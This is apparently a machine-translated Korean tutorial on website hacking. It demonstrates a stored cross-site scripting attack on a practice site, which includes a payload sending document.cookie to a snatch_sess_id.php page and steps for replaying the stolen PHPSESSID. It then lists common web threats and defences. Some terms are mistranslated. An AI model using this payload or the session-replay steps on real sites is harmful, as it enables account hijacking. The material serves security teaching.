웹사이트를 해킹하는 방법은? 사이트 해킹 기술

⚡ 스마트 요약

웹사이트 해킹은 웹 애플리케이션의 취약점, 즉 부실하게 작성된 코드, 검증되지 않은 입력값, 취약한 세션 관리 등을 악용하여 무단으로 접근하는 공격 방식입니다. 이 페이지에서는 일반적인 공격 기법과 더불어 웹사이트 보안을 유지하는 데 중요한 대응책을 소개합니다.

  • 🌐 Target: 웹 애플리케이션은 인터넷을 통해 사용자 입력을 받기 때문에 유효성 검사를 거치지 않은 필드는 공격에 취약합니다.
  • 💉 기법: SQL 인젝션, 크로스 사이트 스크립팅, 세션 포이즈닝, 폼 변조 및 코드 인젝션이 가장 흔한 공격 유형입니다.
  • 🍪 세션 하이재킹: 탈취된 세션 ID를 이용하면 공격자는 비밀번호 없이 로그인한 사용자를 사칭할 수 있습니다.
  • 🛡️ 방어: 입력 유효성 검사, 매개변수화된 쿼리 및 암호화된 세션 쿠키는 일반적인 격차를 해소합니다.
  • 🎯 표준 : OWASP Top 10은 모든 개발자가 테스트해야 할 웹 취약점을 정의합니다.
  • 🤖 현대적인 감각: AI 기반 방화벽은 정상 트래픽을 학습하고 실시간으로 인젝션 시도를 감지합니다.

웹사이트를 해킹하는 방법

그 어느 때보다 더 많은 사람들이 인터넷에 접속할 수 있게 되었습니다. 이로 인해 많은 조직에서는 사용자가 조직과 상호 작용하기 위해 온라인으로 사용할 수 있는 웹 기반 애플리케이션을 개발하게 되었습니다. 잘못 작성된 웹 애플리케이션 코드를 악용하여 중요한 데이터 및 웹 서버에 대한 무단 액세스를 얻을 수 있습니다.

이 과정에서는 흔히 사용되는 웹사이트 해킹 기법과 이러한 공격으로부터 보호하는 대응책을 배우게 됩니다.

웹사이트를 해킹하는 방법

이 웹사이트 해킹 실제 시나리오에서는 다음 위치에 있는 웹 애플리케이션의 사용자 세션을 하이재킹하겠습니다. www.techpanda.org크로스 사이트 스크립팅(XSS)을 사용하여 쿠키 세션 ID를 읽은 다음, 이를 이용하여 정상적인 사용자 세션을 가장할 것입니다.

이 공격은 공격자가 웹 애플리케이션에 접근 권한을 확보했으며, 동일한 애플리케이션을 사용하는 다른 사용자들의 세션을 탈취하려는 시도라고 가정합니다. 공격자의 접근 권한이 제한적이라면, 이 공격의 목표는 웹 애플리케이션에 대한 관리자 권한을 획득하는 것일 수 있습니다.

1단계) 열기 URL http://www.techpanda.org/.

실습 목적으로는 SQL 인젝션을 사용하여 접근 권한을 획득하는 것을 강력히 권장합니다. 자세한 내용은 다음을 참조하십시오. SQL 인젝션에 관한 이 글 방법에 대한 자세한 내용은

2단계) 로그인 정보를 입력하세요.

로그인 이메일 주소는 admin@google.com이고 비밀번호는 Password2010입니다.

3단계) ​​대시보드를 확인하세요.

로그인에 성공하셨다면 다음과 같은 대시보드가 ​​표시됩니다.

로그인 성공 후 표시되는 Techpanda 대시보드

4단계) 새 콘텐츠를 입력하세요.

'새 연락처 추가'를 클릭하고 이름란에 다음을 입력하세요.

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

5단계) 추가 Java스크립트.

위의 코드는 Java스크립트입니다. 클릭 이벤트가 있는 하이퍼링크를 추가합니다. 사용자가 링크를 클릭하면 이벤트가 발생하여 해당 링크를 가져옵니다. PHP 쿠키 세션 ID 그리고 세션 ID와 함께 snatch_sess_id.php 페이지로 전송합니다. URL.

악성 스크립트가 이름 입력란에 포함된 새 연락처 추가 양식

6단계) 세부 정보를 추가합니다.

아래 그림과 같이 나머지 세부 정보를 입력하고 '변경 사항 저장'을 클릭하십시오.

작성 완료된 문의 양식이 데이터베이스에 저장될 준비가 되었습니다.

7단계) ​​대시보드를 확인하세요.

이제 대시보드는 다음 화면과 같이 표시됩니다.

연락처 대시보드에 저장된 항목과 다크 하이퍼링크가 표시됩니다.

8단계) 세션 ID를 확인합니다.

크로스 사이트 스크립트는 데이터베이스에 저장되어 있으므로 접근 권한이 있는 사용자가 로그인할 때마다 로드됩니다. 관리자가 로그인하여 "Dark"라고 표시된 하이퍼링크를 클릭하면 세션 ID가 표시된 창이 나타납니다. URL.

캡처된 세션 ID가 표시되는 브라우저 창 URL

참고: 스크립트는 PHPSESSID가 저장된 원격 서버로 값을 전송한 다음 아무 일도 없었던 것처럼 사용자를 다시 원래 위치로 리디렉션할 수 있습니다.

참고: 실제 측정값은 여기에 표시된 값과 다를 수 있지만, 개념은 동일합니다.

다음을 사용한 세션 가장 Firefox 및 변조 데이터 추가 기능

참고: 아래에 표시된 기존 Tamper Data 추가 기능은 최신 버전에서는 더 이상 설치되지 않습니다. Firefox하지만 이것이 보여주는 개념, 즉 캡처된 세션을 재생하기 위해 HTTP 요청을 가로채고 수정하는 개념은 변하지 않았습니다.

아래 순서도는 이 연습을 완료하기 위해 수행해야 하는 단계를 보여줍니다.

세션 가장 연습 단계 흐름도

  • 당신이 필요합니다 Firefox 이 섹션과 변조 데이터 추가 기능에는 웹 브라우저가 필요합니다.
  • 엽니다 Firefox 아래 그림과 같이 추가 기능을 설치하십시오.

Firefox 추가 기능 관리자는 변조 데이터 추가 기능을 검색하는 데 사용됩니다.

변조 데이터는 다음과 같습니다. Firefox 추가 기능 검색 결과

  • 변조 방지 데이터를 검색한 다음 위 그림과 같이 설치를 클릭하십시오.

추가 기능 권한 대화 상자(수락 및 설치 버튼 포함)

  • 동의 및 설치…를 클릭하세요.

Firefox 추가 기능을 설치한 후 브라우저를 다시 시작하라는 메시지가 표시됩니다.

Firefox 메뉴 모음이 활성화되어 있어 도구 메뉴가 표시됩니다.

  • 설치가 완료되면 '지금 다시 시작'을 클릭하십시오.
  • 메뉴 표시줄을 활성화합니다. Firefox 표시되지 않으면.

도구 메뉴가 열리고 변조 데이터가 선택됩니다.

  • 도구 메뉴를 클릭한 다음 아래 그림과 같이 변조 데이터(Tamper Data)를 선택하십시오.

요청을 캡처하기 전에 변조 데이터 창을 비워 두세요.

  • 다음 창이 나타납니다. 참고: 창이 비어 있지 않으면 지우기 버튼을 누르세요.

발신 요청을 변조할지 묻는 데이터 변조 팝업이 표시됩니다.

  • '탬퍼 시작' 메뉴를 클릭하세요.
  • 다시 전환하세요 Firefox 웹 브라우저에 http://www.techpanda.org/dashboard.php를 입력하고 Enter 키를 눌러 페이지를 로드하세요.
  • Tamper Data에서 다음과 같은 팝업 메시지가 표시됩니다.

변조 방지 팝업창에 변조, 제출 및 취소 옵션이 표시됩니다.

  • 팝업 창에는 세 가지(3) 옵션이 있습니다. 변조 옵션을 사용하면 HTTP 헤더 정보를 서버로 전송하기 전에 수정할 수 있습니다.
  • 그것을 클릭하십시오.
  • 다음과 같은 창이 나타납니다.

쿠키 값을 바꿀 수 있는 요청 헤더 편집기

  • 공격 과정에서 얻은 PHP 세션 ID를 복사하세요. URL 그리고 등호 뒤에 붙여넣으세요. 그러면 값이 다음과 같이 표시될 것입니다.
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
  • OK 버튼을 클릭하십시오.
  • 데이터 변조 방지 팝업 창이 다시 나타납니다.

'데이터 변조' 팝업 창이 '변조 계속' 확인란과 함께 다시 나타납니다.

  • 계속해서 변조하시겠습니까?라는 질문에 대한 체크박스의 선택을 취소하세요.
  • 완료되면 제출 버튼을 클릭하세요.
  • 아래와 같은 대시보드를 보실 수 있을 것입니다.

캡처된 세션을 재생하여 Techpanda 대시보드에 도달했습니다.

참고: 저희는 직접 로그인하지 않았습니다. 크로스 사이트 스크립팅(XSS)을 이용해 얻은 PHPSESSID 값을 사용하여 로그인 세션을 가장했습니다.

웹 애플리케이션이란 무엇입니까? 웹 위협이란 무엇입니까?

웹 애플리케이션(웹사이트라고도 함)은 클라이언트-서버 모델을 기반으로 하는 애플리케이션입니다. 서버는 데이터베이스 접근과 비즈니스 로직을 제공하며 웹 서버에서 호스팅됩니다. 클라이언트 애플리케이션은 클라이언트의 웹 브라우저에서 실행됩니다. 웹 애플리케이션은 일반적으로 다음과 같은 언어로 작성됩니다. Java, C#, VB.Net, PHPColdFusion Markup Language 등도 포함됩니다. 웹 애플리케이션에서 사용되는 데이터베이스 엔진에는 다음과 같은 것들이 있습니다. MySQL, MS SQL 서버, PostgreSQL, SQLite등

최고의 웹사이트 해킹 기술

대부분의 웹 애플리케이션은 공용 서버에 호스팅됩니다. 서버 인터넷을 통해 접근 가능하기 때문에 공격에 취약합니다. 다음은 일반적인 웹 애플리케이션 위협 요소입니다.

  • SQL 주입 – 이 위협의 목표는 로그인 알고리즘을 우회하고 데이터를 파괴하는 것일 수 있습니다.
  • 서비스 거부 공격 이러한 위협의 목표는 정당한 사용자가 해당 리소스에 접근하지 못하도록 막는 것일 수 있습니다.
  • 사이트 간 스크립팅 (XSS) 이러한 위협의 목표는 클라이언트 측 브라우저에서 실행될 수 있는 코드를 삽입하는 것일 수 있습니다.
  • 쿠키/세션 중독 – 이 위협의 목표는 공격자가 쿠키/세션 데이터를 수정하여 무단 액세스를 얻는 것입니다.
  • 양식 변조 – 이 위협의 목표는 공격자가 할인된 가격으로 품목을 얻을 수 있도록 전자 상거래 애플리케이션의 가격과 같은 양식 데이터를 수정하는 것입니다.
  • Code 주입 – 이 위협의 목표는 PHP와 같은 코드를 주입하는 것입니다. Python, 등 서버에서 실행될 수 있습니다. 이 코드는 백도어를 설치하고 민감한 정보를 공개하는 등의 작업을 수행할 수 있습니다.
  • 방어 이 위협의 목표는 웹사이트에 표시되는 페이지를 변경하고 모든 페이지 요청을 공격자의 메시지가 포함된 단일 페이지로 리디렉션하는 것입니다.

해킹으로부터 웹사이트를 보호하는 방법은 무엇입니까?

조직은 웹 서버 공격으로부터 자신을 보호하기 위해 다음 정책을 채택할 수 있습니다.

  • SQL 주입 - 사용자 매개변수를 데이터베이스에 제출하여 처리하기 전에 검증 및 유효성 검사를 수행하면 SQL 인젝션 공격 가능성을 줄일 수 있습니다. MS SQL Server와 같은 데이터베이스 엔진은 이러한 기능을 제공합니다. MySQL`<SQL>` 등은 매개변수와 준비된 문을 지원합니다. 이러한 문들은 기존 SQL 문보다 훨씬 안전합니다.
  • 서비스 거부 공격 방화벽은 단순한 DoS 공격의 경우 의심스러운 IP 주소에서 오는 트래픽을 차단하는 데 사용할 수 있습니다. 네트워크를 적절하게 구성하고 침입 탐지 시스템(IDS)을 구축하는 것 또한 DoS 공격의 성공 가능성을 줄이는 데 도움이 될 수 있습니다.
  • 크로스 사이트 스크립팅 – 헤더와 전달된 매개변수의 유효성 검사 및 검증 URL폼 매개변수 및 숨겨진 값은 XSS 공격을 줄이는 데 도움이 될 수 있습니다.
  • 쿠키/세션 중독 이는 쿠키 내용을 암호화하고, 일정 시간 후 쿠키를 만료시키고, 쿠키를 생성하는 데 사용된 클라이언트 IP 주소와 쿠키를 연결함으로써 방지할 수 있습니다.
  • 양식 변조 이는 사용자 입력을 처리하기 전에 유효성 검사 및 검증을 수행함으로써 방지할 수 있습니다.
  • Code 주입 이는 모든 매개변수를 실행 가능한 코드가 아닌 데이터로 처리함으로써 방지할 수 있습니다. 이를 위해 검증 및 유효성 검사를 사용할 수 있습니다.
  • 방어 – 좋은 웹 애플리케이션 보안 정책은 웹 서버 접근에 흔히 사용되는 취약점을 차단하도록 보장해야 합니다. 이를 위해서는 운영 체제, 웹 서버 소프트웨어의 적절한 구성 및 개발 시 최상의 보안 관행을 준수해야 합니다.ping 웹 애플리케이션.

이것을 확인하십시오 : 9 최고의 URL 링크가 악성코드로부터 안전한지 확인하는 스캐너

자주 묻는 질문

소유자의 서면 허가를 받은 경우에만 가능합니다. 소유하지 않거나 평가 권한이 없는 사이트를 테스트하는 것은 미국 컴퓨터 사기 및 남용 방지법과 같은 법률에 따라 불법입니다. 버그 바운티 범위는 허용되는 사항을 정의합니다.

변조된 페이지, 예상치 못한 새 관리자 사용자, 알 수 없는 파일이나 스크립트, 스팸 사이트로의 리디렉션, 트래픽 급증 등을 주의 깊게 살펴보십시오. 파일 무결성 모니터링, 서버 로그 검토 및 맬웨어 스캐너를 통해 대부분의 침해를 조기에 발견할 수 있습니다.

OWASP Top 10은 웹 애플리케이션 보안 위험 요소 중 가장 중요한 것들을 커뮤니티에서 관리하는 목록입니다. 2025년판에서는 접근 제어 오류(Broken Access Control)가 1위, 보안 구성 오류(Security Misconfiguration)와 소프트웨어 공급망 실패(Software Supply Chain Failures)가 그 뒤를 이었습니다.

WAF(웹 애플리케이션 방화벽)는 들어오는 HTTP 트래픽을 검사하고 SQL 인젝션 및 크로스 사이트 스크립팅과 같은 알려진 공격 패턴을 애플리케이션에 도달하기 전에 차단합니다. 가상 패치 기능을 제공하지만 보안 코드를 대체하는 것은 아닙니다.

AI 기반 방화벽은 사이트의 정상적인 트래픽을 학습한 후, 인젝션 시도, 자격 증명 탈취, 봇 악용과 같은 이상 징후를 실시간으로 감지합니다. 머신러닝 모델은 정적 규칙이 놓치는 제로데이 패턴을 탐지하여 오탐률을 낮춥니다.

AI 비서와 같은 GitHub 부조종사 입력 유효성 검사 및 매개변수화된 쿼리 작성 속도를 높일 수 있지만, 안전하지 않은 패턴을 제안할 수도 있습니다. 각 제안은 초안으로 간주하고 배포하기 전에 사람이 검토하도록 하십시오.

인기 있는 자격증으로는 CEH, OSCP, CompTIA Security+ 등이 있습니다. CISSP 보안 아키텍처 전반을 다룹니다. 웹 보안 직무에 필요한 취약성 평가, 보안 구성 및 방어 기술을 검증합니다.

취약점 스캐닝은 자동화되어 있으며, 취약점을 실제로 악용하지 않고도 알려진 취약점 목록을 신속하게 제공합니다. 침투 테스트는 대부분 수동으로 진행되며, 테스터가 취약점을 적극적으로 악용하여 실제 영향을 보여줍니다. 스캐닝은 광범위한 정보를 제공하고, 침투 테스트는 심층적인 정보를 제공합니다.

이 게시물을 요약하면 다음과 같습니다.